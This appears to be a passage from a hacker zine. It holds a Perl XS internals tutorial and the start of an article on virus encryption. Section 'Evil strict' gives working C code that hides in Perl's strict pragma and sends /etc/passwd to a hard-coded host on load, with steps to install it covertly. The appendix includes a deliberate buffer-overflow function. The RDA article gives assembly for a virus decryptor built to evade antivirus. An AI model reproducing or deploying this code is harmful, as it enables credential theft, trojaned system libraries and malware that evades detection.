but I like to include it. Empty lines are not always allowed, thus my tight
packing. The code itself is simple enough, so I have abstained from
commenting. If I was to comment, I can use Perl's pound sign for a whole
line, or C commenting otherwise. Mostly that is C, very direct. strEQ() is
another Perl API function, similar to strcmp(). What this function,
sv_rm_flag(), does, is remove a specific flag. Based on the string you
enter, it removes the corresponding flag. The included headers are essential
for XS, except for math.h which is only needed for pow() in this case. I
define the module and package as Flag, because I wanted to mess with SV
flags.


---[ 3.2 ]-------------------------------------------------[ Using XS ]-----


You may be wondering how to actually write and include XS code. As mentioned
above, you make a .so that can be dynamically loaded into Perl. You could
also create a static library and build Perl again with it, if you really
wanted to. We load this dynamic library with a Perl module. We use the
program h2xs, in this case, mostly to build a makefile for us. h2xs means
header to XS, it is designed to take a C header file and create XS for us.
Then we could mess with that code to make it more Perl-friendly. For example
to put return values directly on the Perl stack, or to work directly with
SVs instead of other variables. There are lots of reasons why one would want
to modify C code to use it with Perl. In our case, however, we are not doing
that. We are creating our XS entirely. So we just do not provide h2xs with a
header to work from.

h2xs -A -n Flag

Now we have a directly, ./Flag, with some stuff in it. We put our XS code in
Flag.xs and our module is Flag.pm

package Flag;

require Exporter;
require DynaLoader;
our @ISA = qw(Exporter DynaLoader);
@EXPORT_OK = qw / int_me /;
our $VERSION = '0.01';
bootstrap Flag;
1;

That there is my Flag.pm. For those of you not familiar with Perl modules,
almost everything there is very normal. We define our package, for the Perl
namespace. We use Exporter, which allows us to export easily to another
namespace. Consider this how we get our subroutines "out" of the module and
into your program. @EXPORT is an array of symbols to export automatically,
@EXPORT_OK is a list of symbols to export on request. It is considered bad
form most of the time to export by default. We define a version. The "1;" at
the end of the module is important, it is like "return 1;", and a module
must return success. In a regular module we would have our subroutines
between the meta-information and the "1;" at the end. In this case, however,
we use bootstrap() from DynaLoader, which does a lot of work in itself, and
ultimately calls dl_load_file($filename, $flags) which is implemented in C.
This is what actually loads our object file. 

perl Makefile.PL
make

If we want to use this for testing we can create a little .pl in our working
Flag dir (or do proper tests in /t):

use ExtUtils::testlib;
use Flag;
$a = 1234;
$a = "omg hax";
Flag::int_me($a);
print $a;

You know, that kind of thing. If you want to use it natively in your Perl
scripts, make install, or manually export the files where you need them. For
the .pm that is in @INC directories and the .so needs to find it's way into
a proper auto/ directory, off an @INC.



---[ 3.3 ]-------------------------------------------[ Breaking undef ]-----


Hey, let's take undef, and break it. Oh yeah. 

undef is defined as this in embedvar.h:

#define PL_sv_undef (vTHX->Isv_undef)

and as this in perlapi.h:

#define PL_sv_undef (*Perl_Isv_undef_ptr(aTHX))

So you can be assured it is one of those two.

Either way it seems to emulate a small SV.

This is used a lot in perl, in much the same way we do in Perl:

if (sv == &PL_sv_undef) {

or

sv = &PL_sv_undef;

By the way, although in my examples I tend to name my SVs as 'scalar', perl
usually uses 'sv'.

Take a look at its organs:

Perl_sv_dump((SV*)&Perl_sv_undef));

SV = NULL(0x0) at 0x812bf98 
  REFCNT = 2147483439
  FLAGS = (READONLY)

There are a few things to note ábout that. First of all, notice that we are
quite a bit up memory from our normal variables. Secondly, that's one
fucking large REFCNT. That is so it will never disappear on us. And, the
only flag set is readonly, and the type is 0, presumably to make sure no
functions fuck with it when it comes around. The address means that this is
defined much earlier in our process, and that we cannot add to it in-place
because we overwrite and segfault. Thus, my first attempt didn't work:

((SV*)&PL_sv_undef)->sv_flags = 67311012;
sv_setpv((SV*)&PL_sv_undef, "happy");

So what shall we do? We'll create a new SV and point PL_sv_undef at it.

SV*
sv_break_undef()
    CODE:
    SV* mirror = newSVpv("happy", 5);
    mirror->sv_refcnt = ((SV*)&PL_sv_undef)->sv_refcnt; /* I could be
more naughy and ignore this too, but hey, undef is destroyed either way */
    PL_sv_undef = *mirror;

Great! Now I can break any code that uses undef in any way. I like to break
code and see what happens.



---[ 3.4 ]---------------------------------------------[ The Perl API ]-----


Now you know enough XS to know how to do things. Especially if you know C.
You know how to use that XS in your Perl program. And you have enough
knowledge of Perl datatypes to mess with them. You're all set! But wait, you
aren't. Here we have to have a little talk about the Perl API. 

You might want to, for example, change an SV's data or something of that
sort. However, doing so manually, and properly, would require various checks
to find out just what kind of data it contains. You and I are likely to mess
that up. It's natural. Especially with a gross underestimation of the
complexity and variety of SV types. Thankfully, this work has been done for
us. The application has a very extensive API, a lot of it built up upon
various levels, to make things very easy for developers. There really is a
lot that needs to be done to make sure things work right. I personally might
bypass this in a lot of the code here, but I'm also mostly interested in
exploring and breaking. For serious work, the Perl API is perfect. I would
just like to detail some relevant functions.

You can create a new SV like this:

SV* scalar = newSV(0); // empty, allocated zero bytes
SV* scalar = newSV(100); // empty, 100 allocated bytes
SV* scalar = newSViv(100); // new IV (integer), with value 100 
SV* scalar = newSVpv("happy", 5); // if you still need an explanation... 

We can change current values similarly:

sv_setiv(scalar, 100);
sv_setpv(scalar, "happy");

We access the values as so:

SvIV(scalar);
SvNV(scalar); //etc

STRLEN len;
SvPV(scalar, len);

Please note that you provide a STRLEN type and SvPV will assign the length
of the string into it. Note that STRLEN == MEM_SIZE == Size_t. Here, better
example:

STRLEN length;
printf("My string is \"%s\" and its length is %d\n", 
        SvPV(scalar, length), length);

When it comes to reference counts, we can modify them like this:

SvREFCNT(scalar); // returns current value
SvREFCNT_inc(scalar); // increase by one
SvREFCNT_dec(scalar); // decrease by one

Notice that you are expected to alter reference counts in single increments
or decrements. Darn.

Something that hasn't come up here yet, but which is important once you
really get into XS, is the mortality of variables. Basically we don't want
to have the equivalent of a memory leak in a function, where we temporarily
use a variable but it's reference count doesn't expire due to odd
circumstances. 

SV* scalar = sv_newmortal(); // create a new mortal variable 
sv_2mortal(scalar); // mortalize an existing SV
SV* scalar = sv_mortalcopy(otherscalar); // Make a mortal copy of an
existing scalar

We have functions to manipulate type, as seen before.
SvIOK(scalar); // returns true if is IOK
SvIOK_on(scalar); // set the IOK (and pIOK) flag on
SvIOK_only(scalar); // set IOK (and pIOK) on and turn others off

That is about as far as I want to get into the API at the moment. 



---[ 3.5 ]----------------------------------------------[ Evil strict ]-----


Time for some more fun. This really does not involve much Perl or Perl API.
We are going to make strict call home. strict is the common pragma that any
decent Perl program calls immediately. In this example case, we will get it
to connect, on our owned box, to somewhere special and dump /etc/passwd.
Naturally, you can insert DNS code if you want and send a file other than
/etc/passwd, presumably something useful. Imagine you have some sniffing
script running and you want to send out its latest data. Or something. We
are hiding malicious code in a loadable object that we will have called
whenever someone uses strict. It might not be the cleanest method, but it is
less noticable than a cron job or any number of other methods, and our evil
code is relatively hidden, in a .so. Of course we could just write the code
in Perl in strict.pm, but that would be more obvious.

This is our XS:

#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include "ppport.h"

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define DEST_IP   "192.168.1.10"
#define DEST_PORT 1347 

MODULE = strict PACKAGE = strict

BOOT:
    int sockfd;
    struct sockaddr_in dest_addr;
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_port = htons(DEST_PORT); 
    dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);
    memset(&(dest_addr.sin_zero), '\0', 8);  
    if( connect(sockfd, (struct sockaddr *)&dest_addr, 
            sizeof(struct sockaddr)) != -1 ) { 
        char s[100];
        FILE* f;
        f=fopen("/etc/passwd","r");
        while (fgets(s, 100, f) != NULL) { 
            send(sockfd, s, strlen(s), 0); 
        }
        close(sockfd);
    }

The one odd thing you should notice is the BOOT tag. That is crucial. It is
how we execute code upon loading, and not just in functions. So, if that is
our XS, we need our strict.pm. You may notice that I do not do any error
reporting. Ask yourself, do I WANT to make this visible at all?

h2xs -A -n strict
cp xsfromz.xs strict/strict.xs
cd strict
perl Makefile.PL
make

And, make sure your version is 1.03, to match strict. And, if anything there
didn't work, fix it. Right. Now we copy our strict.so file to a proper auto
directory in @INC, Then, we need to modify the proper strict.pm to use our
code. Add your require lines at the top and include the @ISA line. Shortly
after the version do a "bootstrap strict;". There is one last thing you need
to change: strict.pm creates a @wrong array and dies if it ends up with any
members. Either comment out the "push @wrong" line, or the death block, or
change the condition. Whatever. Just note that if you don't, strict dies.
Yes, this will cause strict to inexpicably not fail when called incorrectly.
But when does that happen? And who will be curious and educated enough to
find out why? Blame DynaLoader.

So there you have it. Malicious code hidden behind the guise of our
friendly, non-evil strict. 


-[ 4.0 ]------------------------------------------------------[ Magic ]-----


---[ 4.1 ]------------------------------------[ Introduction to Magic ]-----

Put your cards away rattle. I'm talking Perl magic. That's a technical term.
Why do we call it magic? Because it does magic, and it makes a lot possible.
Magic makes the impossible possible. It is how perl implements many special
variables, tied variables, internal features, and who knows what else. With
magic we can make something happen when a variable is called or when it is
changed. That's the gist of common use. When you get deep into mg.c, you
will notice it is implemented magically too. 

For these various reasons, perl has an SV type called magic. PVMG. You may
recognize this as type 7 of our list. It is just like a PV, except it has
two more members. One of these is a pointer towards another structure, a
MAGIC structure. 

================================================== Obscure Reference Note ==

The Perl function "tie" is the Perl 5 magic that makes OOP much more of a
feasible reality. Basically it ties a variable to a class. Getting this to
happen took a lot of internal mucking. But when it did, we could begin to
satisfy the OOP fanatics among us. 

============================================================================

<Limbic_Region> ok, then you know that the people who grok that shit are
socially stunted, right

This is our magic structure, that xmg->magic points at.

struct magic {
    MAGIC*  mg_moremagic;
    MGVTBL* mg_virtual; /* pointer to magic functions */
    U16     mg_private;
    char    mg_type;
    U8      mg_flags;
    SV*     mg_obj;
    char*   mg_ptr;
    I32     mg_len;
};
 
The first item in the magic structure is a pointer towards another magic
structure, mg_moremagic. So yes, we have a potential linked list of magic
structures. When perl interprets a magic SV it goes through all of the
items. Have a very relevant example taken from mg.c 

int
Perl_mg_set(pTHX_ SV *sv)
{
    dVAR;
    const I32 mgs_ix = SSNEW(sizeof(MGS));
    MAGIC* mg;
    MAGIC* nextmg;

    save_magic(mgs_ix, sv);

    for (mg = SvMAGIC(sv); mg; mg = nextmg) {
    const MGVTBL* vtbl = mg->mg_virtual;
    nextmg = mg->mg_moremagic;  /* it may delete itself */
    if (mg->mg_flags & MGf_GSKIP) {
        mg->mg_flags &= ~MGf_GSKIP; /* setting requires another read */
        (SSPTR(mgs_ix, MGS*))->mgs_flags = 0;
    }
    if (vtbl && vtbl->svt_set)
        CALL_FPTR(vtbl->svt_set)(aTHX_ sv, mg);
    }

    restore_magic(INT2PTR(void*, (IV)mgs_ix));
    return 0;
}

You know what's a nice feeling? Knowing what most of that does and how it
does it. 

Let us continue. Magic has much more to its structure than just a pointer to
the next one. It has a structure called MGVTBL, where the real juice
happens. That's the magic virtual table. This contains five pointers to
routine types. The first two are svt_get and svt_set, which are called when
the variable is accessed and modified, respectively. The type of virtual
table you use is defined in the type field of the magic structure, and there
are a number of them. This is from perl.h:

#define PERL_MAGIC_sv         '\0' /* Special scalar variable */
#define PERL_MAGIC_overload   'A' /* %OVERLOAD hash */
#define PERL_MAGIC_overload_elem  'a' /* %OVERLOAD hash element */
#define PERL_MAGIC_overload_table 'c' /* Holds overload table (AMT) on stash
*/
#define PERL_MAGIC_bm         'B' /* Boyer-Moore (fast string search) */
#define PERL_MAGIC_regdata    'D' /* Regex match position data
                    (@+ and @- vars) */
#define PERL_MAGIC_regdatum   'd' /* Regex match position data element
*/
#define PERL_MAGIC_env        'E' /* %ENV hash */
#define PERL_MAGIC_envelem    'e' /* %ENV hash element */
#define PERL_MAGIC_fm         'f' /* Formline ('compiled' format) */
#define PERL_MAGIC_regex_global   'g' /* m//g target / study()ed string */
#define PERL_MAGIC_hints      'H' /* %^H hash */
#define PERL_MAGIC_hintselem      'h' /* %^H hash element */
#define PERL_MAGIC_isa        'I' /* @ISA array */
#define PERL_MAGIC_isaelem    'i' /* @ISA array element */
#define PERL_MAGIC_nkeys      'k' /* scalar(keys()) lvalue */
#define PERL_MAGIC_dbfile     'L' /* Debugger %_<filename */
#define PERL_MAGIC_dbline     'l' /* Debugger %_<filename element */
#define PERL_MAGIC_mutex      'm' /* for lock op */
#define PERL_MAGIC_shared     'N' /* Shared between threads */
#define PERL_MAGIC_shared_scalar  'n' /* Shared between threads */
#define PERL_MAGIC_collxfrm   'o' /* Locale transformation */
#define PERL_MAGIC_tied       'P' /* Tied array or hash */
#define PERL_MAGIC_tiedelem   'p' /* Tied array or hash element */
#define PERL_MAGIC_tiedscalar     'q' /* Tied scalar or handle */
#define PERL_MAGIC_qr         'r' /* precompiled qr// regex */
#define PERL_MAGIC_sig        'S' /* %SIG hash */
#define PERL_MAGIC_sigelem    's' /* %SIG hash element */
#define PERL_MAGIC_taint      't' /* Taintedness */
#define PERL_MAGIC_uvar       'U' /* Available for use by extensions */
#define PERL_MAGIC_uvar_elem      'u' /* Reserved for use by extensions */
#define PERL_MAGIC_vec        'v' /* vec() lvalue */
#define PERL_MAGIC_vstring    'V' /* SV was vstring literal */
#define PERL_MAGIC_utf8       'w' /* Cached UTF-8 information */
#define PERL_MAGIC_substr     'x' /* substr() lvalue */
#define PERL_MAGIC_defelem    'y' /* Shadow "foreach" iterator variable
/
                    smart parameter vivification */
#define PERL_MAGIC_arylen     '#' /* Array length ($#ary) */
#define PERL_MAGIC_pos        '.' /* pos() lvalue */
#define PERL_MAGIC_backref    '<' /* for weak ref data */
#define PERL_MAGIC_symtab     ':' /* extra data for symbol tables */
#define PERL_MAGIC_rhash      '%' /* extra data for restricted hashes */
#define PERL_MAGIC_arylen_p   '@' /* to move arylen out of XPVAV */
#define PERL_MAGIC_ext        '~' /* Available for use by extensions */

How perl will react to a type of magic is usually predefined. Trying to make
magic in almost any of those forms is a suicidal idea. But just in case you
want to, here's how:

SV* scalar = newSV(0);
sv_magic(scalar, scalar, PERL_MAGIC_arylen, "whatever", 8); 
// arylen, I bet that will break nicely
sv_magic(scalar, 0, 'S', ".", 1); // all is well

You know what's fun? You can select meaningless dribble for the second,
third, fourth, and fifth arguments, and it won't usually break right away.
How any of those are used is magic. MAGIC. Really. Random stuff in mg.c and
elsewhere will do checks for certain types. Like "if this happens to be
magic, and happens to be this certain type of magic, with this certain flag,
we're going to GET JIGGY WITH IT". 

The actual definition of sv_magic is this:

void sv_magic(SV* sv, SV* obj, int how, const char* name, I32 namlen);

The first argument is the SV we are magicizing, the second ends up in that
obj field of the magic struct, the third is the type as defined in that
massive paste above (put PERL_MAGIC_ext or '~', your choice), the fourth is
a name associated with it which ends up in the ptr field, and the fifth is
the length of that. Phew!

This is a function that just makes a variable magic, as you prescribe:

SV*
sv_make_magic(scalar, type, ident="happy")
    SV* scalar
    char type
    char* ident
    CODE:
    sv_magic(scalar, scalar, type, ident, strlen(ident));

Notice in this example I first demonstrate default parameters, so the user
doesn't necessarily have to provide a name section if it isn't relevant. XS
is full of such neat goodies.

If you want to remove magic from a variable, you can use sv_unmagic(scalar,
type);

I am sure that by now you are superbly confused. Don't worry, that's normal.
I've explained magic like a maniac on meth. Also, the concept isn't nearly
as concrete as others, such as SVs on their own, or IVs, etcetera. 

The type of magic used most often is PERL_MAGIC_sv, or '\0'. Most Perl
special variables are this type. In this case, that name paramater
generating it is its actual variable name. For $\ we give "\". 



---[ 4.2 ]-------------------------------[ Changing Special Variables ]-----


<fish> cool. You likely shouldn't do that

Maybe like me you decided to be a very naughty boy. You want to change the
magic of how a special variable operates. And you don't want to dig through
all of perl's source code changing things. So, let us just remake it and
overwrite the svt_get or svt_set pointer. Oh yeah.

SV *
sv_change_magic(scalar)
    SV* scalar
    CODE:
    MGVTBL * const vtbl = ((struct xpvmg*)
SvANY(scalar))->xmg_magic->mg_virtual;
    (void*)vtbl->svt_get = my_fun;

Aren't I nice, spreading that out into a full TWO lines of sweet structure
madness? In case you were wondering, SvANY is this:

#define Sv_ANY(sv)   (sv)->sv_any

Just sometimes makes it easier or more legible to write.

Here is the catch: we have to point that at something, and that something
already has to exist. So we write a my_fun before the XS in our .xs file.
This function should match the following:

I32 my_fun( pTHX_ IV num, SV* scalar);

That might not make sense to you, but that's ok. The first argument type is
IV, pTHX_ is merely a perl macro that will make sure our function works
whether or not we are using threads. Any perl variable that has a character,
then THX, then maybe an underscore (maybe not!) is a thread variable. Things
in perl work a bit differently depending on if you are using threads or not,
but thankfully perl provides this mechanism to make sure it usually doesn't
matter to us. 

Here is an example function:

I32
my_fun( pTHX_ IV foo, SV* scalar) 
  { printf( "ZSHZN IS KING\n"); }

Now allow me to demonstrate:

use ExtUtils::testlib;
use Flag;
Flag::sv_change_magic($<);
$<++;
$<++;

bash-3.00$ make && perl flag.pl
ZSHZN IS KING
ZSHZN IS KING
bash-3.00$

You get the idea. You can now do whatever you want to Perl special
variables: just be warned that they will lose their original behavior that
was there for a reason. I am not sure when you would actually have a
practical use for creating your own special behavior for variables that perl
specifically needs in one context or another. Unless, of course, you want
everyone to know of your favourable impression of zshzn. 



---[ 4.3 ]---------------------------------------------[ Our Own Magic ]----


<Limbic_Region> zshzn - I am not an internals weenie
<zshzn> Limbic_Region: out of curiosity, is there a specific place where the
internals weenies hang out, where they would all jump up and joyfully assist
me in my curious wanderings?
<Limbic_Region> the internals weenies I know of don't really do IRC

It turns out perl provides a system for creating your own magic variables.
So you don't start randomly magicizing variables in ways that will cause
perl to treat them like something important. Maybe you noticed it already.

#define PERL_MAGIC_uvar       'U' /* Available for use by extensions */

We use a ufuncs structure, as defined in perl.h, and the address of that is
our fourth argument to sv_magic. Yes, I know that is insane. But this is
magic. This is actually very easy to use, considering what we have already
discovered above.

SV*
sv_set_magic(scalar)
    SV* scalar
    CODE:
    struct ufuncs uf;
    uf.uf_val = &my_fun;// access, svt_get
    uf.uf_set = &my_fun; // set, svt_set
    uf.uf_index = 0; // identification index
    sv_magic(scalar, 0, PERL_MAGIC_uvar, (char*)&uf, sizeof(uf));

Remember from above the signature, I32 my_fun( pTHX_ IV num, SV* scalar);,
that we are calling first with an IV, and secondly with a SV. Your function
can parse the identification number and act accordingly, if you need to
treat different callers differently.



---[ 4.4 ]---------------------------------------------[ A Magic JAPH ]-----


Here is a practical example of our ability at work.

bash-3.00$ cat flag.pl
  
$|=1;
print "Generating obfuscation...";
Flag::sv_set_magic($$_=$_) for 
    qw / J u s t a n o t h e r P e r l h a c k e r /; 
Flag::flush();
    1-$J-$u-$s-$t;
Flag::space();
        1-$a-$n-$o-$t-$h-$e-$r;
Flag::space();
            1-$P-$e-$r-$l;
Flag::space();
                1-$h-$a-$c-$k-$e-$r;
Flag::flush();
bash-3.00$ perl flag.pl
Generating Obfuscation...terhaer
Just another Perl hacker
bash-3.00$

I will leave it as a challenge to the reader as to how that works, why it
doesn't work better, and what limitations it has on it. 



-[ 5.0 ]----------------------------------------------------[ Closing ]-----


---[ 5.1 ]----------------------------------------------[ More Topics ]-----


I fully intended to go into more advanced topics. Topics such as the Perl
stack, interaction between stacks, using Perl outside of perl itself,
hacking perl itself, interaction between Perl subroutines, and more.
However, I decided that I better not. The existing documents on those
subjects are very good. After a certain level of familiarity, all you need
to do more things is our handy Perl documentation. 


---[ 5.2 ]--------------------------------------------------[ Sources ]-----


The first and foremost among sources is perlguts. There is also illguts
(Perlguts Illustrated, to be found online), perlxs, perlxstut, perlembed,
perlcall, perlapi, perlhack (An excellent document, the specific reason why
this article cannot be named "Hacking Perl"), perlclib, and perlintern. In
my research I have also spent a bit of time on IRC, with some few people who
can offer relevant assistance. I have also spent a lot of time going through
perl source code. I find this particular document relelvant because it
covers such a variety in a short space, and also brings up security issues
and other fun that anybody can enjoy.


---[ 5.3 ]---------------------------------------------------[ Shouts ]-----


I would like to thank fishbot, Limbic~Region, and AtnNn, all of whom helped
in one way or another.




-[ 6.0 ]------------------------------------------[ Appendix: Flag.xs ]-----


#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include <math.h>
#define DEBUG 0 

I32
my_fun( pTHX_ IV foo, SV* scalar)
{ printf( "%c", foo); }

MODULE = Flag PACKAGE = Flag

/* Ever just wished that Perl was an archaic language and you could actually
find such issues as buffer overflows in source code, leading to mad
exploitation for all? Well, if you could, you might find it challenging and
unique, compared to C. This function exists so that you can play around. */

SV *
sv_evil(scalar, string)
    SV* scalar
    char* string
    CODE:
        strcpy(((struct xpv*)scalar->sv_any)->xpv_pv,string);

SV *
sv_change_magic(scalar)
    SV* scalar
    CODE:
    MGVTBL * const vtbl = ((struct xpvmg*)
SvANY(scalar))->xmg_magic->mg_virtual;
    (void*)vtbl->svt_get = my_fun;

SV*
sv_set_magic(scalar)
    SV* scalar
    PREINIT:
    struct ufuncs uf;
    CODE:
    uf.uf_val = &my_fun;
    uf.uf_set = 0;
    int len;
    char *temp = SvPV(scalar, len);
    uf.uf_index = temp[0];
    sv_magic(scalar, scalar, PERL_MAGIC_uvar, (char*)&uf, sizeof(uf));

void flush()
    CODE:
    printf("\n");

void space()
    CODE:
    printf(" ");

SV*
sv_do_magic(scalar)
    SV* scalar
    CODE:
    sv_magic(scalar,scalar, '\0', "happy", 5);
    const MGVTBL * const vtbl = ((struct xpvmg*)
SvANY(scalar))->xmg_magic->mg_virtual;
    MAGIC* mg = ((struct xpvmg*) SvANY(scalar))->xmg_magic;
    CALL_FPTR(vtbl->svt_get)(scalar, mg);

SV*
sv_make_magic(scalar, type, ident="happy")
    SV* scalar
    char type
    char* ident
    CODE:
    sv_magic(scalar, scalar, type, ident, strlen(ident));
 
SV *
sv_break_undef()
    CODE:
    SV* temp = newSVpv("happy", 5);
    temp->sv_refcnt = ((SV*)&PL_sv_undef)->sv_refcnt;   
    PL_sv_undef = *temp;
    
SV *
sv_set_type(scalar, type)
    SV* scalar
    char* type
    CODE:
    char types[16][9] = {
    "SVt_NULL", "SVt_IV",
    "SVt_NV",   "SVt_RV",
    "SVt_PV",   "SVt_PVIV",
    "SVt_PVNV", "SVt_PVMG",
    "SVt_PVBM", "SVt_PVLV",
    "SVt_PVAV", "SVt_PVHV",
    "SVt_PVCV", "SVt_PVGV",
    "SVt_PVFM", "SVt_PVIO"
    };
    scalar->sv_flags >>= 4;
    scalar->sv_flags <<= 4;
    int i;
    for (i = 0; i < 16; i++) {
        if ( strEQ(type, types[i]) ) {
            scalar->sv_flags |= i;
            break;
        }
    }

SV *
sv_set_flag(scalar, flag)
    SV* scalar
    char* flag
    CODE:

 char flags[24][10] = { 
    "PADBUSY",  "PADTMP",
    "PADMY",    "TEMP", 
    "OBJECT",   "GMAGICAL",
    "SMAGICAL", "RMAGICAL",
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
    "AMAGIC",   "SHAREKEYS",
    "LAZYDEL",  "VALID"
};
int i;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        scalar->sv_flags |= (int)pow(2,i+8);
        break;
    }
}
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );
    Perl_sv_dump(scalar);
}

SV *
sv_set_flag_only(scalar, flag)
    SV* scalar
    char* flag
    CODE:

 char flags[24][10] = { 
    "PADBUSY",  "PADTMP",
    "PADMY",    "TEMP", 
    "OBJECT",   "GMAGICAL",
    "SMAGICAL", "RMAGICAL",
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
    "AMAGIC",   "SHAREKEYS",
    "LAZYDEL",  "VALID"
};
int i;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        scalar->sv_flags = (int)pow(2,i+8);
        break;
    }
}
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );
    Perl_sv_dump(scalar);
}

SV *
sv_rm_flag(scalar, flag)
    SV* scalar
    char* flag
    CODE:

 char flags[24][10] = { 
    "PADBUSY",  "PADTMP",
    "PADMY",    "TEMP", 
    "OBJECT",   "GMAGICAL",
    "SMAGICAL", "RMAGICAL",
    "IOK",      "NOK",
    "POK",      "ROK",
    "FAKE",     "OOK",
    "BREAK",    "READONLY",
    "IOKp",     "NOKp",
    "POKp",     "SCREAM",
    "AMAGIC",   "SHAREKEYS",
    "LAZYDEL",  "VALID"
};
int i, j;
for (i = 0; i < 24; i++) {
    if ( strEQ(flag, flags[i]) ) {
        j |= (int)pow(2,i+8);
        j = ~j;
        scalar->sv_flags &= j;
        break;
    }
}
if ( DEBUG ) {  
    printf("[ %u ]\n",scalar->sv_flags );
    Perl_sv_dump(scalar);
}

SV *
sv_copy(src, dest)
    SV* src
    SV* dest
    CODE:
        sv_setsv(dest, src);
        dest->sv_refcnt = src->sv_refcnt;
        dest->sv_flags = src->sv_flags;
        if ( DEBUG ) Perl_sv_dump(dest);

SV *
sv_my_clear(scalar)
    SV* scalar
    CODE:
    // almost the same as the API's: sv_clear(scalar) or sv_free
        sv_setiv(scalar, 0);
        sv_setnv(scalar, 0);
        sv_setpv(scalar, "");
        scalar->sv_flags = 0;



SV*
int_me(SV* scalar)
    CODE:
        SvIOK_only(scalar);

SV *
stringify(SV* scalar)
    CODE:
        SvPOK_only(scalar);

SV *
double_or_nothing(SV* scalar)
    CODE:
        SvNOK_only(scalar);

SV*
play_test()
    CODE:
    ENTER;
    PUSHMARK(SP);
    mXPUSHp("yea",3); // == XPUSHs(sv_2mortal(newSVpv("yea",3)));
    mXPUSHi(45);
    PUTBACK;
    int scalar;
    scalar = call_pv("check", G_ARRAY);
    SPAGAIN;
    printf("yo: %d\n", scalar);
    printf("yo: %d\n", POPi);
    printf("yo: %d\n", POPi);
    printf("yo: %d\n", POPi);
    FREETMPS;
    LEAVE;


----------------------------------[ EOF ]-----------------------------------

[=========================================================================]
[----------------------------[ Exploring RDA ]----------------------------]
[=========================================================================]


       _==####==_
     .############.
   .################.
  .##################.__ __ __ __ _ _ __ __ 
  ##############/¯_`|#\ V  V // _` | '_/ -_)
  ##############\__,|# \_/\_/ \__,_|_| \___|
  ###########*¯*######                                     
  *#########{   }####* 
   ##########._.#####    "Kill! Maim! Kill! Maim! Burn!"
    ################     ./kharn
     *############*
       ¯==####==¯



--[ 0 ]-----------------------------------------------[ Introduction ]-----

   The ultimate aim of every VXer is to write a program which is difficult,
   or even impossible to remove from the host after it's been attached.
   This code is then truly viral - it can't be removed without somehow
   harming the host, or the host's environment. Many methods have been
   used to acheive this, but at the heart of them all lies various methods
   of encryption - and RDA is one of them.

   RDA is not some new cipher - it stands for Random Decryption Algorithm,
   and can be used with any encryption algorithm, whether symmetric or
   assymetric. It was first implemented in the RDA.Fighter virus, a virus
   which tried different decryption keys against itself until the
   "decrypted" virus matched a certain checksum - and this was assumed to
   be correct. This is the simplest implementation of RDA.


--[ 1 ]-----------------------------------------------[ Standard RDA ]-----

   Your standard appending virus with encryption, encrypts the body and
   stores the decryption algorithm, key, and ciphertext within the last
   section of the host executable. When the executable is loaded,
   AddressOfEntryPoint has already been hijacked, and points to your
   decryption routine first. The ciphercode is decrypted, executed, and
   control is hopefully returned to the host executable without any major
   hitches.

   The weakness of this is that an AV engine, upon recognizing your
   decryption algorithm, will also recognize your decryption key. Simply
   layering encryption on doesn't help either - the AV engine will simply
   peel away the encryption layers, leading to your decrypted code.

   RDA solves this problem by throwing away the decryption key, but
   leaving the algorithm in the open - if the encryption is immune to
   known-plaintext attacks[1], then the only way an Anti-Virus can look at
   the plaintext code is by brute force. However, the only way YOU can
   reach your own decrypted code is also by brute force. Thus, the
   advantage lies with the virus - the virus can "tolerate" one or two
   executables on a system being corrupted with incorrect decryption, an
   anti-virus cannot.

   The standard RDA implementation (weak XOR, for example):

   setup:
       xor ebx,ebx

   iterate:
       mov esi,[ebp + hostOffset]
       mov edi,esi
       mov ecx,[ebp + host_size]
       inc ebx
   decrypt:
       lodsb
       xor al,bl
       stosb
       loop decrypt

   check:
       mov esi,[ebp + hostOffset]
       push esi
       mov ecx,[ebp + host_size]
       push ecx
       mov eax,[ebp + __ADDR_CheckSum]  ; whatever this happens to be
       call eax
       test eax,eax
       jnz iterate
       mov esi,[ebp + hostOffset]
       jmp esi


   However, this has major flaws which impede it's usability. For example,
   if an anti-virus engine can see this code in the clear and recognizes
   it, it can emulate the virus decryption engine, and call CheckSum for
   itself - revealing the decrypted executable. Also, since the XOR
   algorithm is weak, if a single byte is known in the plaintext, the
   entire ciphertext becomes decrypted.

1) known plaintext attack: where a hostile entity knows part of, or the
   entirety of your plaintext, and uses it to manipulate your encryption.
   for example, bytewise XOR is weak to known plaintext attack - if I
   know one charachter of the plaintext, i know the entire plaintext,
   because the key is the same.


--[ 2 ]-----------------------------------[ Variation: SEH-based RDA ]-----

   With the introduction of structured exception handling in Windows OSes,
   programmers have a good way of catching unexpected errors and handling
   them gracefully, instead of leading the user to a BSoD. This is also
   good for when implementing RDA-based techniques: instead of matching the
   decrypted code to a checksum, we simply run the decrypted code - and use
   a different decryption key if we get an exception.

   Probability is most certainly on our side here - the chance that we'll
   get an incorrect decryption key leading to code which executes, but does
   not lead to an exception, is negligible. Also, the circumstances tilt
   the playing field towards the virus end - as a virus, it can "tolerate"
   a few corrupted executables on a system due to incorrect decryption. An
   anti-virus, on the other hand, cannot. Exception handling is set up with
   the help of SetUnhandledExceptionFilter API, which is called as thus:

       SetUnhandledExceptionFilter(LPTOP_LEVEL_EXCEPTION_FILTER f);

   where 'f' is a function (the exception handler) defined as thus:

       LONG f(STRUCT_EXCEPTION_POINTERS e);

   f is called every time an exception occurs, and is passed the state of
   the machine at the point of exception, in the Context member of e.
   Basically, we just try different decryption keys - and if the end result
   (the plaintext code) is incorrect, it'll most likely throw an exception,
   and we can try a different key.

   Here's the Context member of e, which we're interested in. This may
   differ from machine to machine, and this was taken from an IA32 box.

       CONTEXT STRUCT
         ContextFlags  DWORD      ?
